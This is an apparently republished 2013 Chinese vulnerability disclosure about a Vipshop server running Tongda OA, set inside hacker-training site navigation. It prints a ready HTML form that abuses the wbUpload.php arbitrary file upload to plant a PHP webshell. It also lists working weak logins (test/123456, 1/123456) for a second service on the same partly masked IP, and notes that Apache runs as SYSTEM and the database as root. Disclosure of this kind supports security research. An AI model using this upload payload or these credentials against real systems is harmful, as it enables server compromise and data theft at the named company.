唯品会小礼包（任意文件上传getshell及弱口令）

浏览： ℃

字体：大中小

发布时间：2013-12-17 09:37:12

来源：

唯品会小礼包（任意文件上传及弱口令）apache采用system账号启动，数据库采用root账号连接。内网额！

1. URL:http://121.***.***.122:8090/

采用的是通达OA系统，存在任意文件上传漏洞；

<form enctype="multipart/form-data" action="http://121.***.***.122:8090//general/vmeet/wbUpload.php?fileName=test.php.111" method="post"><input type="file" name="Filedata" size="50"><br><input type="submit" value="Upload"></form>

apache采用system账号启动，数据库采用root账号连接。

点到为止，就不继续了。

2.http://121.***.***.122:15698/

存在弱口令：

test 123456

1 123456

>更多相关文章

首页推荐

东方联盟网培训质量如何?靠谱吗?

　　佛山市东联科技有限公司一直秉承“一切以用户价值为依归

相关文章

24小时热门资讯

24小时回复排行

热门推荐

最新资讯

网络安全

操作系统

黑客防御

站长知识